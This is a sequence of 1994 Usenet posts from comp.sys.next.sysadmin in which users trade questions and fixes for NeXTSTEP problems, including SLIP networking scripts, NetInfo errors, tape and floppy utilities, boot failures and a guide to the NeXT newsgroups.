However, it is a beta, and they do warn you that you pretty much need to
be an expert on IP and SLIP to install it. But then, they also say that
1.9 is likely to be the last beta release. (!) I hope the full release
will be able to deal with automatically setting up full network services.
I've been having some frustrating times too. However, I have things
pretty much working now (with the exception of Mach IPC, which I'm still
tracking down).
I've removed all of the PNI stuff from rc.local, and written scripts to
bring PNI up and take it down. Getting name resolution working isn't too
hard. Getting it to stop trying to check the network after the link is
brought down takes more work. In the LINK_start module, basically I copy
resolv.conf.SAV to resolv.conf, and kill -HUP lookupd. You may also want
to ntp -F <your time server>, and start up ntpd.
After you bring SLIP down (in the LINK_stop module), you have to be a
bit more heavy handed: rm resolv.conf, kill lookupd, kill nibindd,
restart nibindd, and then restart lookupd. I put a sleep 1 between the
two restarts so that nibindd gets its act together and forks a netinfod
before lookupd tries to connects to one. Anything less than this doesn't
seem to do the trick.
(Do something like
nibindd=`ps -cax | grep nibindd | awk '{print $1}'`
kill $nibindd
to do the killing). You should also do "route delete ... ..." for all the
routes that pnid added but forgot to remove, as well as kill ntpd. There
are probably other things I'm forgetting...
When you bring up PNI, I suspect you should also do a kill -USR2 nmserver
to let the Mach IPC server (responsible for DPS connections, distributed
objects) know about the link. (However, I haven't figured that part out
entirely yet.)
You may have to enter your hostname and IP address into NetInfo (using
HostManager) so that your machine doesn't have to rely on a nameserver to
figure out its address (this may cure your boot problem). Also make sure
you are not trying to connect to a parent netinfo server (set "Use Local
Domain Only" in HostManager). Set HOSTNAME, INETADDR, IPNETMASK and
IPBROADCAST (you can use HostManager), but if you have no network adapter,
you should leave INETADDR at -AUTOMATIC-, or else rc.net will configure
the address of your loopback interface (bad news -- it's supposed to be
127.0.0.1).
Hope this stuff helps.
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Invertebrate Learning Group, University of British Columbia, Canada
Newsgroups: comp.sys.next.sysadmin
From: kevin@lhc.nlm.nih.gov (Kevin Rosenberg)
Subject: Re: ISDN vs V.Fast 28.8
Message-ID: <1994Jun4.213500.20685@nlm.nih.gov>
Sender: news@nlm.nih.gov
Organization: National Library of Medicine
References: <CqvrCE.7zE@ucdavis.edu> <2sqjh8$ibn@kei.com>
Date: Sat, 4 Jun 94 21:35:00 GMT
In article <2sqjh8$ibn@kei.com> ckd@loiosh.kei.com (Christopher Davis) writes:
>Yes, there is hardware that does compression as well; I'm using an Ascend
>Pipeline 50 that does PPP and compresses both the IP headers and packet
>payload. It has an ethernet interface for better I/O (it can bridge
>[....]
>--
>* Christopher Davis * <ckd@kei.com> * (was <ckd@eff.org>) * MIME * [CKD1] *
Christopher,
Can you post contact info for Ascend? Also, how much for the hardware?
Thanks very much!
--
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kevin@lhc.nlm.nih.gov
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From: westes@netcom.com (Will Estes)
Subject: How to make image copy of floppy?
Message-ID: <westesCqwBqq.GyM@netcom.com>
Organization: Mail Group
Date: Sat, 4 Jun 1994 23:25:37 GMT
I need to make an image dump and restore of a foreign floppy on my
NeXTSTEP 3.2 FIP system. The command that I was given for a SunOS
system was:
dd if=/dev/diskette of=outfile
I tried the following under NS FIP 3.2:
dd if=/dev/fd0a of=outfile
but this fails with:
read: I/O error
0+0 records in
0+0 records out
I'm using the 3.5" floppy drive. I'm able to mount the floppy disk
in question using File Viewer, and I do see files on that disk. Why
does dd fail, and is there some other command I could use to better
accomplish the same task?
--
Will Estes Internet: westes@usc.com
From: ckd@loiosh.kei.com (Christopher Davis)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ISDN vs V.Fast 28.8
Date: 4 Jun 1994 23:42:12 GMT
Organization: House of the Jhereg
Message-ID: <2sr3gk$ibn@kei.com>
References: <CqvrCE.7zE@ucdavis.edu> <2sqjh8$ibn@kei.com>
<1994Jun4.213500.20685@nlm.nih.gov>
In-reply-to: kevin@lhc.nlm.nih.gov's message of Sat, 4 Jun 94 21:35:00 GMT
KR> == Kevin Rosenberg <kevin@lhc.nlm.nih.gov>
KR> Can you post contact info for Ascend? Also, how much for the hardware?
ftp.ascend.com has contact info and pricing, including a press release on
the P50. (Note that though the release says it can BOND two B channels
together, that feature isn't implemented yet...sigh.)
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From: tomfl.toppoint.de!thomas (Thomas Goepfert)
Subject: Re: Tape drive
Message-ID: <Cqvp88.u3@tomfl.toppoint.de>
Sender: usenet@tomfl.toppoint.de (Usenet)
References: <2rle44$4ek@panix.com>
Date: Sat, 4 Jun 1994 15:19:20 GMT
John Burnette writes
> It's SCSI address is 3, it is recognized on startup correctly.
>
> It is a Wangtek which uses either 6250 or 6150 1/4 inch tapes.
> (I am using 6150 tapes now.)
Maybe the drive works only with a fixed blocksize. The NS-tape-driver
works with variable blocksize by default. You can try the following
program to fix it:
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <sys/file.h>
#include </NextDeveloper/Headers/bsd/dev/scsireg.h>
main()
{
int d, size;
size = 1024;
if ((d = open("/dev/rst0", O_WRONLY)) == -1) {
printf("open error: %s\n", strerror(errno));
exit(-1);
}
if (ioctl(d, MTIOCFIXBLK, &size) == -1 ) {
printf("ioctl error: %s\n", strerror(errno));
exit(-1);
}
close(d);
exit(0);
}
--
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Next mail welcome PGP public key on request
From: qShariff@io.org (qShariff)
Newsgroups: comp.sys.next.sysadmin
Subject: Urgent: Next PC hung during boot!
Date: Sun, 5 Jun 1994 16:49:55
Organization: IS solutions
Message-ID: <qShariff.1.0010D57E@io.org>
Summary: Problems with disk consistency.
I have a serious problem on my Next PC. (Running NextStep 3.2 for Intel)
Last night when I logged on my next machine, I clicked on the max-dos (this is
the name of the DOS partition on my hard disk) icon in the File Viewer and my
system just froze. I tried to use Atl+NumLock but it didn't work. So I reset
my computer.
Then I booted my next with diagnostic messages.
It went fine till I got the Checking disks message. Here are the messages I
got with Checking disks. Note that /dev/rsd0a is usually my max-dos DOS
partition.
rootdev 600, howto 0
Sun jun 5 (time) 1994
Checking disks
/dev/rsd0a : Unknown File type I=135297
/dev/rsd0a : Unexpected inconsistency; Run fsck manually.
Reboot failed...help!
Faking root mount entries
erase ^? intr ^C kill ^U
#
At this point I didn't know what to do and I gave the reboot command at the
# prompt abd I got the same response again.
I don't know how to fix this problem.
I someone can help I would truly appreciate.
Thanx
From: neuwirth@ophelia.tuwien.ac.at (K. Neuwirth)
Newsgroups: comp.sys.next.sysadmin
Subject: Font Tool
Date: 5 Jun 1994 17:30:58 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2st24i$9kj@email.tuwien.ac.at>
I have some problems with loads of fonts. Recently, I bought (amongst
other things) a couple of beautiful Monotype Fonts. Unfortunately,
Monotype only included PFM font metric files and no AFM files anymore.
Yuk! Although I have a program around that generates at least some AFM
information, I'd like to be able to have more information than that
(e.g. ligature and kerning tables). Does anybody know of such a tool in
non-commercial ware? I do know that there is a company who sells a tool
for that purpose.
Thanks a lot!
//konrad
From: neuwirth@ophelia.tuwien.ac.at (K. Neuwirth)
Newsgroups: comp.sys.next.sysadmin
Subject: cmsg cancel <2st1lp$854@email.tuwien.ac.at>
Control: cancel <2st1lp$854@email.tuwien.ac.at>
Date: 5 Jun 1994 17:39:24 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2st2kc$9mi@email.tuwien.ac.at>
Newsgroups: comp.sys.next.sysadmin
Subject: changing the file tools system wide
Message-ID: <1994Jun5.141614.8556@earlham.edu>
From: jack@hyla.math.earlham.edu (Yacoub Ayoub Rabah)
Date: 5 Jun 94 14:16:13 EST
Hi --
For some weird reason the default tool on our system for postscript files
changed from the Preview.app to the Opener.ap ?! Is there a way to change it
back system wide instead of changing it for each user?
Thanks
--
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Earlham College | / | | / \
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From: jbright@schoolnet (Jason Bright)
Subject: Netinfo Woes
Message-ID: <Cr2vK1.B5D@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Virtual Ventures
Date: Wed, 8 Jun 1994 12:19:12 GMT
My cube has been running just fine as a standalone for the past two years.
The only accounts on it are mine and 'root'. Recently it began to exhibit
some strange behavoir- when powering up or after a reboot, if I try to log
into my individual account, the machine just hangs- spinning wait cursor
(and dropping down to the nmi monitor and typing 'halt' doesn't help- have
to go all the way down to the rom monitor and reboot and let it clean
up the file system).
The behavior started just over a week ago, as was pretty erratic (not
every time). Now it does it every time. The only way around it seems
to log into 'root', logout, and then log back into my own account.
Any ideas? - is the netinfo database corrupt and must be
reinstalled? (how?) - i'm going to be putting this machine on the
net in the next week, so I'd like to get this straightened up as soon as I
can.
thanx in advance
jay
--
***************************************************************
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Masters- Systems and Computer Engineering
Carleton University
jbright@schoolnet.carleton.ca
"I can't give you a brain, but I can give you a diploma."
-The Wizard of Oz
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From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: Command Line RTF Printing?
Message-ID: <Cr1uA1.9t@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <weissd.770914951@access1>
Date: Tue, 7 Jun 1994 22:54:00 GMT
In article <weissd.770914951@access1> weissd@access1.digex.net (Damien) writes:
>
>
> Does anyone know of a way to print RTF files from the command line?
Look for printrtf.m from EPS.
Could be on the archives somewhere.
Juergen
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== What time do we live in when all the word 'revolution' makes you think of
== is a new version of soap powder,
== when spontaneity and freedom gets associated with instant coffee?
Newsgroups: comp.sys.next.sysadmin
From: js@euler.hnv.icem.de(Juergen Sell)
Subject: Re: noiseless NeXTSTEP computer?
Message-ID: <Cr1uI1.BD@euler.hnv.icem.de>
Sender: js@euler.hnv.icem.de (Juergen Sell)
Organization: Ink Unknown
References: <Cr0qv8.EJy@risc1.rug.nl>
Date: Tue, 7 Jun 1994 22:58:49 GMT
In article <Cr0qv8.EJy@risc1.rug.nl> pim@barany.med.rug.nl (Pim van Dijk) writes:
> Hi,
>
> Are there noiseless computersystems available which can run NeXTSTEP?
> Noiseless means:
For black hardware you could always get the long (3m) monitor cable.
Maybe long cables and the slab in an adjacent room are sufficient?
Juergen
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== What time do we live in when all the word 'revolution' makes you think of
== is a new version of soap powder,
== when spontaneity and freedom gets associated with instant coffee?
From: armes@pioneer.tds.com (Jim Armes)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Printing to HP DJ500 and Ghostscript
Date: 8 Jun 1994 04:09:39 GMT
Organization: Trident Data Systems
Distribution: world
Message-ID: <2t3ga3$jss@discovery.ectds.com>
References: <1994Jun1.004708.29302@mixcom.mixcom.com>
Keywords: printer deskjet 550 yo help whoa uh oh
In article <1994Jun1.004708.29302@mixcom.mixcom.com> terill@ooffoo.mixcom.com
(Terry Longrie) writes:
> > >2. Has anyone compiled gs261 on NeXT 3.2?
> > Why? NeXTSTEP is able to render PostScript. You just have to pay for
> > the license to do it.
>
> Yes, we all know that NeXTSTEP can render PostScript. However, some of
> us also know that GhostScript is also an extremely usefull (and free) tool
> for converting PostScript images into many other formats and can be used
> as a print filter to convert PostScript into HP-PCL so it can be printed,
> for example, on an HP DeskJet 500. All at absolutely no cost! :-)
>
> Terry
me << compiled under 3.2 seems to work,
although I'm a bit confused on setting up the spooler in netinfo. I changed
the references to the appropriate filter locations, but it never spools out to
the appropriate sh filter (the example _lpr script they include.) The files
just kinda sit in the /usr/spool/... directories. Do I need to set up a
secondary 'straight-thru' printer to pipe everything into?
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From: Kjell.Borg@um.erisoft.se (Kjell Borg)
Subject: Driver for Weitek P9100?
Message-ID: <1994Jun8.080949.26000@um.erisoft.se>
Sender: usenet@um.erisoft.se (For NNTP posting)
Organization: Erisoft AB Umea Sweden
Date: Wed, 8 Jun 1994 08:09:49 GMT
Does anyone know if the Weitek P9000 driver will workfor the Genoa VideoBlitz 9400VL (Also refered to as VideoBlitz II for VL-bus)? Since it not mutch more expensive than the VideoBlitz 9200VL but has mutch higher performance, it would be interesting if the driver would work for Weitek P9100 hardware.
/Kjell
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From: croehrig@celegans.psych.ubc.ca (Chris Roehrig)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Network woes on NS/FIP - TransSys PNI SLIP issues
Date: 8 Jun 1994 19:05:57 GMT
Organization: Computer Science, University of B.C., Vancouver, B.C., Canada
Distribution: world
Message-ID: <2t54ql$fmq@cs.ubc.ca>
References: <2t3h7q$9j1@usenet.rpi.edu>
In article <2t3h7q$9j1@usenet.rpi.edu> gad@eclipse.its.rpi.edu (Garance A.
Drosehn) writes:
> croehrig@celegans.psych.ubc.ca (Chris Roehrig) writes:
> [gross hacks to bring PNI down cleanly]
> Anything less than this doesn't seem to do the trick.
>
> Ick. That doesn't sound too nice.
Yeah: I went back and had a look at it, and managed to get things working
without having do kill and restart those daemons. Turns out that at boot
time, you can configure lookupd with a resolv.conf without having a
network interface up, and things'll still work. Something in the PNI
docs triggered me to boot without a resolv.conf and after PNI came up,
copy a resolv.conf.SAVED to resolv.conf and restart lookupd. And then try
to undo this when the link came down. That's where I had problems, and
you need to use a shotgun to get things not to hang :-)
I think I also solved some quirkiness by putting my host name and IP
address in NetInfo. Still can't get nmserver to work, though. Looks
like you actually need a hardware adapter to get it to work.
--
Chris Roehrig (croehrig@celegans.psych.ubc.ca)
Invertebrate Learning Group, University of British Columbia, Canada
From: szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo)
Newsgroups: comp.sys.next.sysadmin
Subject: Connection reset by peer??
Date: 8 Jun 1994 21:05:10 GMT
Organization: The Ohio State University
Distribution: world
Message-ID: <2t5bq6$s5h@charm.magnus.acs.ohio-state.edu>
Here's the situation:
We have a group of 3 nexts. One has always served as the Mail Server.
We recently were wired up for a connection to OSU's "Sonnet". (their internet
gateway for departments).
I created /etc/resolv.conf, added the nameserver definition, changed
the /etc/hostconfig on the server, etc.
From the server, I can telnet, ftp, etc. Everything is fine.
I went into NetinfoManager and re-defined the ip addresses of the other
2 machines.
The server is 128.146.158.171.
I set the 2nd machine to 128.146.158.172, the third .173
When the 2nd machine boots, I get this:
starting network_init:
lookupd[70]: netinfo sleeping: RPC Unable to Receive; errno= Connection
reset by peer.
From the 2nd machine, I can easily boot up in single user mode, and
telnet to the server, or any other ip address I chose.
When the 2nd machine boots up normally (b sd) it hangs with that error
message, yet on the server I can see (through netstat) that the machine
*is* finding the server.
What have I done wrong/haven't done?
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From: serge@dadofsam.Princeton.EDU
Subject: Re: AFS and Kerberos for NextStep ???
Message-ID: <1994Jun8.150418.17998@Princeton.EDU>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <Cr2076.1s4@informatik.uni-muenchen.de>
Date: Wed, 8 Jun 1994 15:04:18 GMT
In article <Cr2076.1s4@informatik.uni-muenchen.de> yoda@cis.uni-muenchen.de
(Marc Guenther) writes:
> Hello,
>
> does someone know a version of AFS and/or Kerberos for Nextstep ????
> Transarc used to have AFS, but they stopped continuing it.
> (you can still bet it, but the latest version is for 3.0,
> if I remeber correctly)
>
> Some time ago, this Eric P. Scott guy said, that AFS and Kerberos is out
> there somewhere. As Im very interested in this, I asked him where I
> could get it, but got no reply at all.
>
> So would anyone other who knows, share their knowledge with the rest of
> the world ?? I would be very grateful.
>
> Thanks !
> --
> Marc Guenther
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I've talked to Transarc and Next about this. Transarc's current AFS will
compile for a motorola Next 3.2 system (you have to use the 3.0 version of
loginwindow.app), but they have no intention of supporting it, and there will
be no 3.3 version (unless Next gets hot). Next said there was no
vendor-supported version of Kerberos currently available for NS 3.2. We've
picked up the CNS (Cygnus) stuff and are trying to compile it on the Next now
(motorola and intel). I suspect we can get the basic stuff to work, but it
will be hard to build a kerberized loginwindow.app without Next's help. In
this light, recent posts from Erik Kay at Next sugggest (but do not promise)
that all of this will be easier in NS 3.3, which will have better login hooks.
So I suggest you wait for 3.3; then those of us interested in this should pool
our efforts, and maybe we can build a kerberos (at least) for NextStep package.
Serge Goldstein
Next SysAdmin
Princeton University
From: michael@cogito.iaee.tuwien.ac.at (Michael Suessner)
Newsgroups: comp.sys.next.sysadmin
Subject: Mount DOS partition?
Date: 9 Jun 1994 17:06:26 GMT
Organization: Technical University Vienna, Austria
Message-ID: <2t7i6i$fce@email.tuwien.ac.at>
Hi,
I have on my internal IDE disk a 30MB DOS partition, which is automatically
mounted by the WM when I login.
How can I mount this partition, if I login from a terminal? Do I have to be
root to do this?
I tried the following command, which failed:
> mount -t dos /dev/hd0b /
Can anybody tell me the right command?
Thanks
--
======================================================
Suessner Michael
Arbeitsgruppe Neuronale Elektronik
Institut fuer Allgemeine Elektrotechnik und Elektronik
Vienna Technical University
Tel.: Austria-(0)222-58801-3754
E-MAIL: michael@rs2.iaee.tuwien.ac.at
NeXTmail: michael@cogito.iaee.tuwien.ac.at
Newsgroups: comp.sys.next.sysadmin,comp.sys.next.misc
From: Nghiem_Alex@pcp.ca (Alex Nghiem)
Subject: NeXTmail on non-Unix systems and on the road
Message-ID: <1994Jun9.170500.3137@pcp.ca>
Keywords: NeXTMail, remote, wireless
Sender: news@pcp.ca
Organization: PanCanadian Petroleum Ltd.
Date: Thu, 9 Jun 94 17:05:00 GMT
Group:
I posted the following related questions a couple of weeks ago:
1. Since I'm on the road a lot, I wanted to know whether there's a way to
read NeXTMail on my portable (running NS) using a wireless connection. I
currently receive NeXTMail on my desk machine through a UUCP link (I
download/upload my mail using a UUNET service).
>>> Maybe. Radiomail is a company in Palo Alto (info@radiomail.com or
(415) 555-1212 - I haven't verified this) which offers wireless service
but nobody knew whether this service could provide a UUCP link.
>>> Two products were recommended. Pinnacle and Eloquent. Pinnacle is
described as such:
================ PINNACLE DESCRIPTION ==============
The best setup I have found is to use Pinnacle's Transfer program. It
basically installs a small server process on your home machine and an app
on your remote. Then after a little configuration you can dial in to your
home machine and see what's in your mailbox with a nice GUI front end that
looks very similar to the mail app. It also shows you how big the mail
messages are. Then you decide which ones you want to transfer to your
remote machine based on the sender, subject and size. They are
automatically inserted into your mailbox on your remote machine and read
with normal NeXT Mail.app.
Sending messages is also controlled. Just create a message normally with
Mail.app and send it. Transfer controls the mail spool.
There's also a GUI remote file browser that lets you copy files to the
local machine.
=============== ELOQUENT DESCRIPTION ==================
Eloquent can read NeXTmail/MIME messages out of a berkeley mailbox. It can
even do this when the mailbox is on a remote machine that runs an IMAP
server. Eloquent can also send mail directly with SMTP, so you don't need
to have sendmail running on your computer.
If you are interested in more info on Eloquent send a message to
eloquent_info@arissoft.com.
Thanks for all the replies.
Regards,
Alex
Nghiem_Alex@pcp.ca
alex@oolesson.com
From: kinch@heartlab.rri.uwo.ca (Dave Kinchlea)
Newsgroups: comp.sys.next.sysadmin
Subject: Mouse double clicking
Date: 9 Jun 1994 18:55:02 GMT
Organization: John P. Robarts Research Institute, London Ont. CA
Sender: kinch@valve.heart.rri.uwo.ca (dy)
Distribution: world
Message-ID: <2t7oi6$out@falcon.ccs.uwo.ca>
Well, this is an odd one but....
I am running IRIX 5.2 on an Indigo2 Extreme and for some reason the
Desktop Overview does not seem to understand a double-click. Using
the mouse control panel also does not see multiple clicks. The speed
of the clicking does not make a difference (and I generally like fast
speeds anyway). Any ideas? This sure makes me want to disable the desktop
crap, but I am TRYING to give it a fair chance ;-(
I doubt it will help, but:
hinv:
1 100 MHZ IP22 Processor
FPU: MIPS R4010 Floating Point Chip Revision: 0.0
CPU: MIPS R4000 Processor Chip Revision: 3.0
On-board serial ports: 2
On-board bi-directional parallel port
Data cache size: 8 Kbytes
Instruction cache size: 8 Kbytes
Secondary unified instruction/data cache size: 1 Mbyte
Main memory size: 32 Mbytes
EISA bus: adapter 0
Iris Audio Processor: version A2 revision 1.1.0
Integral Ethernet: ec0, version 1
Integral SCSI controller 1: Version WD33C93B, revision D
Disk drive: unit 1 on SCSI controller 0
Integral SCSI controller 0: Version WD33C93B, revision D
Graphics board: GU1-Extreme
cheerskinch
From: bhaase@ecommerce.com (Bill Haase)
Newsgroups: comp.sys.next.sysadmin
Subject: How Appropre. is NeXTStep for . . .
Date: Thu, 9 Jun 1994 14:20:28
Organization: Electronic Commerce
Message-ID: <bhaase.3.000E57BF@ecommerce.com>
Keywords: NeXTStep Admin
I am setting up a slip/ppp dial-in node for Internet access for my company and
I am looking for a Admin Tool set for the task. I figured a good version of
Unix would do the job and was wondering what version would be best. I thought
NeXTStep might be the easiest but I wanted to get an opinion here if possible.
I am looking to admin . . .
User Accounts
Net News
Email
WWW Server
Please give me your opinion on using NeXTStep for the task. If you want to
respond via email please send it to bhaase@ecommerce.com.
"Yesterday is a cancelled check,
tomorrow is a promissory note;
today is the only cash we have -
spend it wisely."
-- Kay Lyons
From: tms@cfc.com (Todd M. Swan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Lost root password on Next - manual's solution doesn't work?
Date: 09 Jun 1994 19:39:19 GMT
Organization: Chrysler Financial, MIS, Center Line, MI
Message-ID: <TMS.94Jun9153919@litespeed.cfc.com>
References: <AJN.94May25131412@island.essex.ac.uk> <CqE0zz.2K6@infoserv.com>
In-reply-to: kent@infoserv.com's message of Thu, 26 May 1994 02:16:47 GMT
In article <CqE0zz.2K6@infoserv.com>, kent@infoserv.com writes:
>In article <AJN.94May25131412@island.essex.ac.uk> ajn@island.essex.ac.uk
>(Alastair) writes:
>#We have a NextStation TurboColour (N1200) for which the root password has been
>#lost. The machine is running NeXT Mach 3.0 and NextStep 3.0, with Rom Monitor
>#version 3.3 v74. I followed the suggestion in the manual, holding down the
>#command bar and hitting the ~` key right after the system testing message
>#goes away - but to no avail it does not kick me into the rom monitor it just
>#restarts the boot. Am I misreading the manual? not being quick enough? or is
>#there some trick I am missing. Any help greatly appreciated.
>#
>#
>#P.S. the manual mentioned pressing the ~` key on they key-pad - but there is
>#no ~` key on the key pad...???
>You have to hold down both command keys along with the '~'.
>It's the ukey in the upper left corner on the keypad.
Uh, no you don't. It just has to be the *right* command key. (I don't
know about ADB keyboards though...)
Todd
--
_____ __ __ ____ Todd M. Swan - Chrysler Financial, Center Line, MI
|_ _| \/ | ___| tms@cfc.com (NeXTmail)
| | | |__ | The flame at the heart of a pawnbroker's diamond
|_| |_|\/|_|____| is a cold fire. - Rush
From: sanguish@digifix.com (Scott Anguish)
Newsgroups: comp.sys.next.sysadmin
Subject: shutdown scripts
Date: 9 Jun 1994 16:57:43 -0400
Organization: Digital Fix Development
Distribution: world
Message-ID: <2t7vo7$b7r@digifix.digifix.com>
Is it possible to have some script run automatically when you are going to be
shutting down a NeXT?
I have a few programs running that if not killed properly will cause an FSCK,
and about a 30 minute wait for the reboot...
--
- Scott Anguish -
sanguish@digifix.com (NextMail)
next-announce@digifix.com (comp.sys.next.announce submissions)
Newsgroups: comp.sys.next.sysadmin
From: jbright@schoolnet (Jason Bright)
Subject: Black Hardware Hell
Message-ID: <Cr3tw6.DnM@cunews.carleton.ca>
Sender: news@cunews.carleton.ca (News Administrator)
Organization: Virtual Ventures
Date: Thu, 9 Jun 1994 00:40:54 GMT
O.K. ----->Can somebody give me a hand here before I pitch my
cube out the window?
Everything was working fine up to about 2 days ago.
THen it started crashing when logging into certain accounts.
I couldn't find a obvious problem with netinfo, so I guessed that the
whole database may be corrupt, so I followed the instructions to
restore it using the default templates.
Now i could be logged into the default 'me' account
(happens automatically since there isn't a password yet).
I could go in and play around with the accounts, set passwords, etc.
But when I logged out and the login panel came up, I couldn't log back
in as anybody (it would accept the password, disappear, and then return
a few seconds later).
Now things were getting too annoying for words. I decided to
now (in a semi-final act of desparation) to reinstall the NS basics
from the CD rom (no big deal because there wasn't a lot of system
modification on my part).
When try to boot from the cd rom (bsd(1,0,0)sdmach rootdev=sd1)
it searches for the drive, starts, and then gives me
"Exception #4 (0x10) at 0x80000"
-what the hell is this?
I can still boot in single user mode, but if i try to boot normally
it now fails completely in a pile of 'kern_loader' errors.
AAAAAAAAAARRRRRRRRRRRRRGGGGGGGGGGGGGHHHHHHHHHHHHHHHH!
Somebody help me before I run amok with a machete
yours unstably
jay
--
*******************************************************************
Jason Bright
Masters- Systems and Computer Engineering
Carleton University
jbright@schoolnet.carleton.ca
"I can't give you a brain, but I can give you a diploma."
-The Wizard of Oz
*******************************************************************
Newsgroups: comp.sys.next.hardware,comp.sys.next.sysadmin
From: shanb001@maroon.tc.umn.edu (Sharad J Shanbhag)
Subject: Re: noiseless NeXTSTEP computer?
Message-ID: <Cr3xoM.KJ2@news.cis.umn.edu>
Keywords: no fan no harddisk
Sender: shanb001@maroon.tc.umn.edu
Organization: University of Minnesota
References: <Cr0qv8.EJy@risc1.rug.nl>
Date: Thu, 9 Jun 1994 02:01:12 GMT
Greetings,
I worked in a lab where this exact situation was encountered.
The solution was to drill a small hole through which the keyboard cable
could fit. The computer was then placed OUTSIDE of the room. The
monitor was viewed through a window. Of course, this will depend upon
having external space to place the computer.
Hope you find a solution!
-Sharad
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Sharad J. Shanbhag phone: (612) 626-9218
Graduate Program in Neuroscience and fax: (612) 626-9201
Department of Neurosurgery
University of Minnesota email:
421 Lions Research Building shanbhag@neuro.med.umn.edu
2001 6th St. SE shanb001@maroon.tc.umn.edu
Minneapolis, MN 55455
From: majka@next.com (Marc Majka)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Connection reset by peer??
Date: 9 Jun 1994 02:53:55 GMT
Organization: NeXT, Inc.
Distribution: world
Message-ID: <2t6083$9ad@rosie.next.com>
References: <2t5bq6$s5h@charm.magnus.acs.ohio-state.edu>
Shane M Zatezalo writes
> Here's the situation: [...]
> When the 2nd machine boots, I get this: [...]
> lookupd[70]: netinfo sleeping: RPC Unable to Receive; errno= Connection
> reset by peer.
This is a classic symptom of an incorrect trusted_networks value in
NetInfo. You can find the "trusted_networks" property in the root
directory of any NetInfo domain (i.e. any domain can have one, but it
doesn't have to be there). It takes 1 or more values, each of which
should be a network number (e.g. 192.42.172). A NetInfo server for a
domain that has a trusted_networks property will only respond to requests
from computers with network addresses that are listed as values.
What's happening in your case is that some NetInfo server is trying to
bind to a parent NetInfo server, but the parent refuses to acknowledge the
child server because the child is on a network that the parent doesn't
trust. The parent slams the door on it's child (OK, it doesn't slam a
door, it closes the connection :-) and the child NetInfo server is left
out in the cold.
Look around your domain hierarchy. Check all parent domain for the local
domain on the computer that exhibits this message. If it has a
trusted_networks property that doesn't include the network number of the
computer that's stuck, then add that computer's network number to the list
of trusted networks. If there's a parent domain for *that* domain, then
check that domain as well.
--
Marc Majka
NeXT Computer
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quickguide to NEXTSTEP Information available on the Internet
Date: 9 Jun 1994 01:07:57 -0400
Organization: Next Announcements
Message-ID: <2t683d$2h4@digifix.digifix.com>
Topics include:
Stepwise NEXTSTEP/OpenStep Information Server online
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
New Information
---------------
Stepwise NEXTSTEP/OpenStep Information Server online
A product directory built around the World Wide Web system,
this will allow full multimedia announcements by NEXTSTEP
developers, as well as the ability to browse the available
products for NEXTSTEP.
This service is online now, and can be reached at
http://www.stepwise.com/
or (if you nameserver is out of date)
http://digifix.digifix.com/
it can be reached using OmniWeb (available from ftp.omnigroup.com)
or Mosaic.
The entries are coming in quite quickly, and currently consist of
- NeXT Press Releases
- OpenStep WhitePapers
- Third Party Products Directory
- NEXTSTEP Developer Directory
- NEXTSTEP Community WhitePages
- NEXTSTEP User Group Directory
- comp.sys.next.announce archives (searchable)
- searchable contents of Third Party compilation CDs
Additionally the NEXTSTEP Product Information Mail Server will
be stocked full file files in the next week... you can get
information on using the mail server at
ns-products@digifix.com
Suggestions or comments can be directed to me at sanguish@digifix.com
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
